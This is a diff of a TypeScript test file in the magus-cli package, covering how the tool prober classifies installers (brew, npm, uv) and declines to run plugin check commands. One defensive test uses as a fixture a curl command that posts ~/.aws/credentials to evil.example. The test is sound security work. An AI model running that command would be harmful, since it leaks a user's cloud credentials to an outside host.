magus-cli 7.10.3 → 7.10.4

package/src/__tests__/tool-probe.test.ts

@@ -23,7 +23,6 @@ import {
 	type FetchJsonResult,
 	type ToolFacts,
 	type ToolProbeIO,
-	brewKegVersion,
 	classifyTool,
 	compareToolVersions,
 	detectInstallMethods,
@@ -35,7 +34,6 @@ import {
 	parsePipxListJson,
 	parseUvReceipt,
 	parseUvToolList,
-	parseVersionToken,
 	probeTool,
 	probeTools,
 	specForCatalogTool,
@@ -226,7 +224,7 @@ describe("classifyTool — every rule of §4.3, in order", () => {
 		);
 	});
 
-	test("6. not managed → external, in the user's terms", () => {
+	test("6. another owner → external / installed-elsewhere, with no note", () => {
 		const s = classifyTool(
 			spec({ name: "crush" }),
 			facts({
@@ -234,27 +232,30 @@ describe("classifyTool — every rule of §4.3, in order", () => {
 				behind: true,
 				resolvedPath:
 					"/Users/j/.nvm/versions/node/v24.14.0/lib/node_modules/@charmland/crush/run-crush.js",
-				owner: "npm (root /Users/j/.local/lib/node_modules)",
 			}),
 		);
-		expect(s).toMatchObject({ state: "external", reason: "not-managed" });
-		expect(s.note).toBe("installed by an installer magus does not update");
-		expect(s.note).not.toContain("/");
-	});
-
-	test("6. managed === null (owner undeterminable) is also a veto, as unknown", () => {
-		expect(
-			classifyTool(spec(), facts({ managed: null, behind: true })),
-		).toMatchObject({ state: "unknown", reason: "not-managed" });
+		expect(s).toMatchObject({
+			state: "external",
+			reason: "installed-elsewhere",
+			target: null,
+		});
+		expect(s.note).toBeUndefined();
 	});
 
-	test("6. the note names who DID install it, never the spec's installer", () => {
-		const note = classifyTool(
-			spec({ via: "brew" }),
-			facts({ managed: false, behind: true, ownerName: "cargo" }),
-		).note;
-		expect(note).toBe("installed by cargo");
-		expect(note).not.toContain("Homebrew");
+	test("6. managed === null (owner undeterminable) is a veto: unknown / owner-unknown, no path", () => {
+		const s = classifyTool(
+			spec(),
+			facts({
+				managed: null,
+				behind: true,
+				resolvedPath: "/usr/local/bin/tool",
+				failure: "brew timed out after 8s",
+			}),
+		);
+		expect(s).toMatchObject({ state: "unknown", reason: "owner-unknown" });
+		expect(s.note).toBe(
+			"could not tell which installer owns it (brew timed out after 8s)",
+		);
 	});
 
 	test("7. held back → unknown, with the hold as the note", () => {
@@ -332,13 +333,13 @@ describe("classifyTool — every rule of §4.3, in order", () => {
 		).toMatchObject({ state: "unknown", reason: "unorderable" });
 	});
 
-	test("M3: pinned ∧ foreign ∧ behind the pin → not-managed, never an upgrade", () => {
+	test("M3: pinned ∧ foreign ∧ behind the pin → external, never an upgrade", () => {
 		expect(
 			classifyTool(
 				spec({ version: "2.0.0" }),
 				facts({ installed: "1.0.0", managed: false }),
 			),
-		).toMatchObject({ state: "unknown", reason: "not-managed" });
+		).toMatchObject({ state: "external", reason: "installed-elsewhere" });
 	});
 
 	test("M3: pinned ∧ foreign ∧ at the pin → at-pin (no work, ownership irrelevant)", () => {
@@ -357,12 +358,12 @@ describe("classifyTool — every rule of §4.3, in order", () => {
 		).toBe("up-to-date");
 	});
 
-	test("every non-current, non-install state carries a note", () => {
+	test("every unknown or upgrade state carries a note (external carries none, see 6)", () => {
 		const cases: Array<[Partial<BinRequirement>, Partial<ToolFacts>]> = [
 			[{}, { installed: null }],
 			[{ version: "2" }, { installed: "x" }],
 			[{ version: "2.0.0" }, { installed: "3.0.0" }],
-			[{}, { managed: false }],
+			[{}, { managed: null }],
 			[{}, { heldBack: "held by brew pin" }],
 			[{ via: "brew", version: "9.0.0" }, { installed: "1.0.0" }],
 			[{ version: "9.0.0" }, { installed: "1.0.0" }],
@@ -372,7 +373,7 @@ describe("classifyTool — every rule of §4.3, in order", () => {
 		];
 		for (const [s, f] of cases) {
 			const status = classifyTool(spec(s), facts(f));
-			expect(["unknown", "upgrade", "external"]).toContain(status.state);
+			expect(["unknown", "upgrade"]).toContain(status.state);
 			expect(status.note?.length ?? 0).toBeGreaterThan(0);
 		}
 	});
@@ -439,33 +440,14 @@ describe("parsers — against captured real output", () => {
 		expect(parseBrewOutdatedJson("", "tmux")).toBeNull();
 	});
 
-	test("brew list --versions and the keg version", () => {
-		expect(parseBrewListVersions(fixture("brew-list-versions-tmux.txt"))).toBe(
-			"3.7c",
-		);
-		expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toBe("3.7c");
-		expect(parseBrewListVersions("")).toBeNull();
+	test("brew list --versions: every kept version", () => {
 		expect(
-			brewKegVersion(
-				"/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
-				"/opt/homebrew/Cellar",
-				"tmux",
-			),
-		).toBe("3.7c");
-		expect(
-			brewKegVersion(
-				"/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
-				"/opt/homebrew/Cellar",
-				"gemini-cli",
-			),
-		).toBe("0.46.0");
-		expect(
-			brewKegVersion(
-				"/opt/homebrew/Cellar/tmux-extra/1/bin/x",
-				"/opt/homebrew/Cellar",
-				"tmux",
-			),
-		).toBeNull();
+			parseBrewListVersions(fixture("brew-list-versions-tmux.txt")),
+		).toEqual(["3.7c"]);
+		expect(parseBrewListVersions("tmux 3.7b 3.7c\n")).toEqual(["3.7b", "3.7c"]);
+		expect(parseBrewListVersions("jq 1.8.2_1\n")).toEqual(["1.8.2_1"]);
+		expect(parseBrewListVersions("")).toEqual([]);
+		expect(parseBrewListVersions("tmux\n")).toEqual([]);
 	});
 
 	test("uv tool list: packages, not executables; normalised keys", () => {
@@ -576,14 +558,6 @@ describe("parsers — against captured real output", () => {
 		expect(parsePipxListJson(null).size).toBe(0);
 	});
 
-	test("parseVersionToken: the first version-like token", () => {
-		expect(parseVersionToken("tmux 3.7c")).toBe("3.7c");
-		expect(parseVersionToken("2.1.268 (Claude Code)")).toBe("2.1.268");
-		expect(parseVersionToken("tmux-mcp v2.0.0\n")).toBe("2.0.0");
-		expect(parseVersionToken("codex-cli 0.153.2")).toBe("0.153.2");
-		expect(parseVersionToken("built 2026, 3 files")).toBeNull();
-	});
-
 	test("PEP 503 normalisation", () => {
 		expect(normalizePythonPackageName("Browser_Use")).toBe("browser-use");
 		expect(normalizePythonPackageName("a.-_b")).toBe("a-b");
@@ -633,9 +607,8 @@ describe("probeTool — ownership decides managed", () => {
 			name: "claude",
 			via: "npm",
 			package: "@anthropic-ai/claude-code",
-			check: "claude --version",
 		});
-		const f = await probeTool(s, io, { allowCheckCommand: true });
+		const f = await probeTool(s, io);
 		expect(f).toMatchObject({
 			present: true,
 			managed: true,
@@ -683,16 +656,19 @@ describe("probeTool — ownership decides managed", () => {
 		expect(io.calls).toEqual([]);
 	});
 
-	test("brew-owned gemini-cli: keg version, brew's own verdict", async () => {
+	test("brew-owned gemini-cli: brew lists it, PATH runs that version, brew's own verdict", async () => {
 		const io = fakeIO({
-			env: { HOMEBREW_PREFIX: "/opt/homebrew" },
 			onPath: { gemini: "/opt/homebrew/bin/gemini" },
 			real: {
 				"/opt/homebrew/bin/gemini":
-					"/opt/homebrew/Cellar/gemini-cli/0.46.0/libexec/lib/node_modules/@google/gemini-cli/bundle/gemini.js",
-				"/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
+					"/opt/homebrew/Cellar/gemini-cli/0.46.0/bin/gemini",
 			},
 			exec: {
+				"brew list --versions gemini-cli": { stdout: "gemini-cli 0.46.0\n" },
+				"brew list gemini-cli": {
+					stdout: "/opt/homebrew/Cellar/gemini-cli/0.46.0/bin/gemini\n",
+				},
+				"gemini --version": { stdout: "0.46.0\n" },
 				"brew outdated --json=v2 gemini-cli": {
 					stdout: fixture("brew-outdated-tmux-current.txt"),
 				},
@@ -710,19 +686,24 @@ describe("probeTool — ownership decides managed", () => {
 
 	test("V5 baseline: tmux (brew, current) is CURRENT, not an upgrade", async () => {
 		const io = fakeIO({
-			env: { HOMEBREW_PREFIX: "/opt/homebrew" },
 			onPath: { tmux: "/opt/homebrew/bin/tmux" },
 			real: {
 				"/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
-				"/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
 			},
 			exec: {
+				"brew list --versions tmux": {
+					stdout: fixture("brew-list-versions-tmux.txt"),
+				},
+				"brew list tmux": {
+					stdout: "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux\n",
+				},
+				"tmux -V": { stdout: "tmux 3.7c\n" },
 				"brew outdated --json=v2 tmux": {
 					stdout: fixture("brew-outdated-tmux-current.txt"),
 				},
 			},
 		});
-		const s = spec({ name: "tmux", via: "brew", check: "tmux -V" });
+		const s = spec({ name: "tmux", via: "brew" });
 		expect(classifyTool(s, await probeTool(s, io))).toMatchObject({
 			state: "current",
 			reason: "up-to-date",
@@ -730,25 +711,145 @@ describe("probeTool — ownership decides managed", () => {
 		});
 	});
 
+	test("a brew formula magus has no version command for: brew's single version stands", async () => {
+		const io = fakeIO({
+			onPath: { testball: "/opt/homebrew/bin/testball" },
+			real: {
+				"/opt/homebrew/bin/testball":
+					"/opt/homebrew/Cellar/testball/0.0.1_2/bin/testball",
+			},
+			exec: {
+				"brew list --versions testball": { stdout: "testball 0.0.1_2\n" },
+				"brew list testball": {
+					stdout: "/opt/homebrew/Cellar/testball/0.0.1_2/bin/testball\n",
+				},
+				"brew outdated --json=v2 testball": {
+					stdout: '{"formulae":[],"casks":[]}',
+				},
+			},
+		});
+		const s = spec({ name: "testball", via: "brew" });
+		const f = await probeTool(s, io);
+		expect(f).toMatchObject({ managed: true, installed: "0.0.1" });
+		// Several kept versions: brew cannot say which is linked — never guessed.
+		const io2 = fakeIO({
+			onPath: { testball: "/opt/homebrew/bin/testball" },
+			real: {
+				"/opt/homebrew/bin/testball":
+					"/opt/homebrew/Cellar/testball/0.0.2/bin/testball",
+			},
+			exec: {
+				"brew list --versions testball": { stdout: "testball 0.0.1 0.0.2\n" },
+				"brew list testball": {
+					stdout: "/opt/homebrew/Cellar/testball/0.0.2/bin/testball\n",
+				},
+				"brew outdated --json=v2 testball": {
+					stdout: '{"formulae":[],"casks":[]}',
+				},
+			},
+		});
+		const g = await probeTool(s, io2);
+		expect(g).toMatchObject({ managed: true, installed: null });
+		expect(io2.calls).not.toContain("testball --version");
+	});
+
 	test("a brew pin holds a behind formula back", async () => {
 		const outdated = fixture("brew-outdated-behind-homebrew-spec.txt").replace(
 			'"pinned": false',
 			'"pinned": true',
 		);
 		const io = fakeIO({
-			env: { HOMEBREW_PREFIX: "/opt/homebrew" },
 			onPath: { testball: "/opt/homebrew/bin/testball" },
 			real: {
 				"/opt/homebrew/bin/testball":
 					"/opt/homebrew/Cellar/testball/0.0.1/bin/testball",
-				"/opt/homebrew/Cellar": "/opt/homebrew/Cellar",
 			},
-			exec: { "brew outdated --json=v2 testball": { stdout: outdated } },
+			exec: {
+				"brew list --versions testball": { stdout: "testball 0.0.1\n" },
+				"brew list testball": {
+					stdout: "/opt/homebrew/Cellar/testball/0.0.1/bin/testball\n",
+				},
+				"brew outdated --json=v2 testball": { stdout: outdated },
+			},
 		});
 		const s = spec({ name: "testball", via: "brew" });
 		expect(classifyTool(s, await probeTool(s, io)).reason).toBe("held-back");
 	});
 
+	// brew exits 1 for "not installed" AND for nearly every error. Measured: a
+	// formula brew does not have is silent on both streams; an untapped tap
+	// prints `Error: No available formula …` on stderr. Only silence is "no".
+	test("brew exit 1, silent: brew does not have it → installed elsewhere", async () => {
+		const io = fakeIO({
+			onPath: { jq: "/usr/local/bin/jq" },
+			real: { "/usr/local/bin/jq": "/usr/local/bin/jq" },
+			exec: {
+				"brew list --versions jq": { code: 1, stdout: "", stderr: "" },
+				"jq --version": { stdout: "jq-1.8.2\n" },
+			},
+		});
+		const s = spec({ name: "jq", via: "brew" });
+		const f = await probeTool(s, io);
+		expect(f.managed).toBe(false);
+		expect(classifyTool(s, f).state).toBe("external");
+	});
+
+	test("brew exit 1 with an Error: owner unknown, the failure says brew reported an error, never its stderr", async () => {
+		const error =
+			'Error: No available formula with the name "someone/tap/claudish".';
+		const io = fakeIO({
+			onPath: { claudish: "/usr/local/bin/claudish" },
+			real: { "/usr/local/bin/claudish": "/usr/local/bin/claudish" },
+			exec: {
+				"brew list --versions someone/tap/claudish": {
+					code: 1,
+					stdout: "",
+					stderr: `${error}\nPlease tap it and then try again: brew tap someone/tap\n`,
+				},
+				"claudish --version": { stdout: "claudish version 10.4.1\n" },
+			},
+		});
+		const s = spec({
+			name: "claudish",
+			via: "brew",
+			formula: "someone/tap/claudish",
+		});
+		const f = await probeTool(s, io);
+		expect(f).toMatchObject({
+			managed: null,
+			failure: "brew reported an error",
+		});
+		expect(classifyTool(s, f)).toMatchObject({
+			state: "unknown",
+			reason: "owner-unknown",
+			note: "could not tell which installer owns it (brew reported an error)",
+		});
+	});
+
+	test("brew installed, the tool's version unreadable, and brew gives no verdict: the note says so once", async () => {
+		const io = fakeIO({
+			onPath: { tmux: "/opt/homebrew/bin/tmux" },
+			real: {
+				"/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux",
+			},
+			exec: {
+				"brew list --versions tmux": { stdout: "tmux 3.7c\n" },
+				"brew list tmux": {
+					stdout: "/opt/homebrew/Cellar/tmux/3.7c/bin/tmux\n",
+				},
+				"tmux -V": { stdout: "tmux master\n" },
+				"brew outdated --json=v2 tmux": { code: 1, stderr: "Error: boom\n" },
+			},
+		});
+		const s = spec({ name: "tmux", via: "brew" });
+		const status = classifyTool(s, await probeTool(s, io));
+		expect(status).toMatchObject({
+			state: "unknown",
+			reason: "version-unreadable",
+			note: "installed, but its version could not be read (brew reported an error)",
+		});
+	});
+
 	test("crush under nvm while PATH's npm writes elsewhere: managed through --prefix", async () => {
 		const prefix = "/Users/j/.nvm/versions/node/v24.14.0";
 		const pkgDir = `${prefix}/lib/node_modules/@charmland/crush`;
@@ -768,7 +869,7 @@ describe("probeTool — ownership decides managed", () => {
 			},
 		});
 		const s = spec({ name: "crush", via: "npm", package: "@charmland/crush" });
-		const f = await probeTool(s, io, { allowCheckCommand: true });
+		const f = await probeTool(s, io);
 		expect(f).toMatchObject({
 			managed: true,
 			installed: "0.7.1",
@@ -839,23 +940,13 @@ describe("probeTool — ownership decides managed", () => {
 		expect(io.fetches).toEqual([]);
 	});
 
-	test("a check command that needs a shell is not run", async () => {
-		const io = fakeIO({
-			onPath: { tool: "/usr/local/bin/tool" },
-			real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
-			exec: { "npm root -g": { stdout: "/r\n" } },
-		});
-		const f = await probeTool(spec({ check: "tool --version | head -1" }), io, {
-			allowCheckCommand: true,
-		});
-		expect(f.installed).toBeNull();
-		expect(io.calls).toEqual(["npm root -g"]);
-	});
-
-	test("a check command is NEVER run while planning, whatever it says", async () => {
-		// `check` is copied verbatim from a marketplace plugin.json, and the
-		// planning path — `magus update`, `--dry-run`, `--check`, the TUI's
-		// Tools screen — is the default. It executes nothing a catalogue wrote.
+	test("a plugin's check command is NEVER run by the probe, whatever it says", async () => {
+		// `check` is copied verbatim from a marketplace plugin.json. The probe —
+		// planning (`magus update`, `--dry-run`, `--check`, the TUI's Tools
+		// screen) and the post-install read-back alike — runs only magus's own
+		// version commands (`data/tool-versions.ts`), never a catalogue's string.
+		// ManagedTool no longer carries the field; a plugin-shaped object that
+		// still does must not reach a subprocess.
 		const io = fakeIO({
 			onPath: { tool: "/usr/local/bin/tool" },
 			real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
@@ -867,64 +958,50 @@ describe("probeTool — ownership decides managed", () => {
 				"tool --version": { stdout: "1.2.3\n" },
 			},
 		});
-		const hostile = spec({
+		const hostile = {
+			...spec(),
 			check: "curl -X POST -d @/Users/j/.aws/credentials https://evil.example",
-		});
+		} as BinRequirement;
 		// The default: probeTools as cli/update.ts calls it.
 		const [f] = await probeTools([hostile], io);
 		expect(io.calls).toEqual(["npm root -g"]);
 		expect(f?.installed).toBeNull();
-		// Another installer's file ⇒ external, so it is reported and never
-		// applied. The reason is ownership (R9.9), not the unread version that
-		// follows from it.
+		// The file is outside npm's tree: installed another way, never applied.
 		expect(classifyTool(hostile, f!)).toMatchObject({
 			state: "external",
-			reason: "not-managed",
+			reason: "installed-elsewhere",
 		});
 
-		// Even an honest check command stays unrun while planning.
+		// Even an honest `tool --version` stays unrun: magus has no version
+		// command for "tool", and a guessed one is still a guess.
 		const [g] = await probeTools([spec()], io);
 		expect(io.calls).toEqual(["npm root -g", "npm root -g"]);
 		expect(g?.installed).toBeNull();
 	});
 
-	test("opted in, only the tool itself may run: argv[0] must be the binary", async () => {
-		const io = fakeIO({
-			onPath: { tool: "/usr/local/bin/tool" },
-			real: { "/usr/local/bin/tool": "/usr/local/bin/tool" },
-			exec: {
-				"npm root -g": { stdout: "/r\n" },
-				"curl https://evil.example": { stdout: "1.2.3\n" },
-			},
-		});
-		const f = await probeTool(
-			spec({ check: "curl https://evil.example" }),
-			io,
-			{
-				allowCheckCommand: true,
-			},
-		);
-		expect(io.calls).toEqual(["npm root -g"]);
-		expect(f.installed).toBeNull();
-		expect(f.failure).toContain("does not run tool");
-	});
-
-	test("opted in, the tool's own path is accepted as argv[0]", async () => {
+	test("magus's own version command runs when the installer's record is silent", async () => {
 		const io = fakeIO({
-			onPath: { tool: "/usr/local/bin/tool" },
-			real: { "/usr/local/bin/tool": "/opt/pkg/1.2.3/bin/tool" },
+			onPath: { codex: "/usr/local/bin/codex" },
+			real: { "/usr/local/bin/codex": "/opt/pkg/codex/bin/codex" },
 			exec: {
 				"npm root -g": { stdout: "/r\n" },
-				"/usr/local/bin/tool --version": { stdout: "tool 1.2.3\n" },
+				"codex --version": { stdout: "codex-cli 0.153.2\n" },
 			},
 		});
 		const f = await probeTool(
-			spec({ check: "/usr/local/bin/tool --version" }),
+			spec({ name: "codex", package: "@openai/codex" }),
 			io,
-			{ allowCheckCommand: true },
 		);
-		expect(f.installed).toBe("1.2.3");
-		expect(f.sources).toContain("check-command");
+		expect(f.installed).toBe("0.153.2");
+		expect(f.sources).toContain("version-command");
+		// argv[0] is the bare name PATH resolves — never a path. npm does not
+		// have it, so Homebrew is asked too (merged design: another installer
+		// magus drives may own it); brew is absent here, so nothing is adopted.
+		expect(io.calls).toEqual([
+			"npm root -g",
+			"brew list --versions codex",
+			"codex --version",
+		]);
 	});
 });
 
@@ -1018,7 +1095,8 @@ describe("probeTools — uv", () => {
 			state: "unknown",
 			reason: "latest-unavailable",
 		});
-		expect(mcp.note).toContain("Failed to fetch index");
+		expect(mcp.note).toContain("uv reported an error");
+		expect(mcp.note).not.toContain("Failed to fetch index");
 	});
 
 	test("an older uv that rejects --outdated falls back to PyPI per tool", async () => {
@@ -1114,12 +1192,17 @@ describe("probeTools — uv", () => {
 			}),
 		);
 		const s = pip("aider", { package: "aider-chat" });
-		const f = await probeTool(s, io, { allowCheckCommand: true });
-		expect(f).toMatchObject({ managed: true, installed: "0.86.1" });
-		expect(classifyTool(s, f).state).toBe("current");
-		// The adoption is a FACT, and it names uv's bin dir.
+		const f = await probeTool(s, io);
+		// uv keeps no record of a file it did not install, and magus has no
+		// version command for aider (its output was never captured): no version,
+		// and none is guessed — `aider --version` is not run.
+		expect(f).toMatchObject({ managed: true, installed: null });
+		expect(io.calls).not.toContain("aider --version");
+		expect(classifyTool(s, f).reason).toBe("version-unreadable");
+		// The adoption is a FACT, said in the user's terms: no path.
 		expect(f.sources).toContain("uv-adopted");
-		expect(f.adopted).toContain(UV_BIN);
+		expect(f.adopted).toContain("uv takes it over");
+		expect(f.adopted).not.toContain("/");
 	});
 
 	test("an adopted tool's UPGRADE says the owner changes", async () => {
@@ -1130,7 +1213,6 @@ describe("probeTools — uv", () => {
 			uvSetup([], {
 				onPath: { aider: `${UV_BIN}/aider` },
 				real: { [`${UV_BIN}/aider`]: "/Users/j/.local/pipx/venvs/aider/x" },
-				exec: { "aider --version": { stdout: "aider 0.80.0\n" } },
 				fetch: {
 					"https://pypi.org/pypi/aider-chat/json": {
 						ok: true,
@@ -1140,10 +1222,13 @@ describe("probeTools — uv", () => {
 			}),
 		);
 		const s = pip("aider", { package: "aider-chat" });
-		const f = await probeTool(s, io, { allowCheckCommand: true });
+		// The probe supplies the adoption; the version is supplied here, because
+		// magus has no version command for aider and uv has no record of a file
+		// it did not install. What is under test is that the adoption travels.
+		const f = { ...(await probeTool(s, io)), installed: "0.80.0" };
 		const status = classifyTool(s, f);
 		expect(status).toMatchObject({ state: "upgrade", target: "0.86.1" });
-		expect(status.adopted).toContain("adopts it into uv");
+		expect(status.adopted).toContain("uv takes it over");
 		// And it reaches the plan row the CLI renders.
 		const declared: ResolvedBin = { ...s, sources: ["profile:default"] };
 		const [item] = planBinUpdates([declared], [f]);
@@ -1163,11 +1248,15 @@ describe("probeTools — uv", () => {
 			},
 		});
 		const s = pip("aider", { package: "aider-chat" });
-		const f = await probeTool(s, io, { allowCheckCommand: true });
+		const f = await probeTool(s, io);
 		expect(io.calls).toContain("uv tool dir");
 		expect(io.calls).toContain("pipx list --json");
 		expect(f.managed).toBeNull();
-		expect(classifyTool(s, f).reason).toBe("not-managed");
+		expect(classifyTool(s, f).state).toBe("unknown");
+		// With a version read, the undetermined owner is the reason itself.
+		expect(classifyTool(s, { ...f, installed: "0.80.0" }).reason).toBe(
+			"owner-unknown",
+		);
 	});
 });
 
@@ -1227,24 +1316,23 @@ describe("probeTools — concurrency, deadline, ordering", () => {
 	});
 
 	test("no more than `concurrency` subprocesses run at once", async () => {
-		const exec: Record<string, ExecHandler> = {
-			"npm root -g": { stdout: "/g/node_modules\n" },
-		};
+		const exec: Record<string, ExecHandler> = {};
 		const onPath: Record<string, string> = {};
 		const real: Record<string, string> = {};
 		for (let i = 0; i < 8; i++) {
 			onPath[`c${i}`] = `/x/c${i}`;
 			real[`/x/c${i}`] = `/x/c${i}`;
-			exec[`c${i} --version`] = async () => {
+			// One subprocess per tool: brew's own answer about its formula.
+			exec[`brew list --versions c${i}`] = async () => {
 				await sleep(10);
-				return { stdout: "1.0.0" };
+				return { code: 1 };
 			};
 		}
 		const io = fakeIO({ exec, onPath, real });
 		await probeTools(
-			Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}` })),
+			Array.from({ length: 8 }, (_, i) => spec({ name: `c${i}`, via: "brew" })),
 			io,
-			{ concurrency: 3, allowCheckCommand: true },
+			{ concurrency: 3 },
 		);
 		expect(io.inFlight.max).toBeLessThanOrEqual(3);
 		expect(io.inFlight.max).toBeGreaterThan(1);
@@ -1313,7 +1401,6 @@ const catalogTool = (over: Partial<CliTool> = {}): CliTool => ({
 	name: "codex",
 	displayName: "OpenAI Codex",
 	description: "",
-	checkCommand: "codex --version",
 	website: "",
 	category: "ai-coding",
 	packageManager: "npm",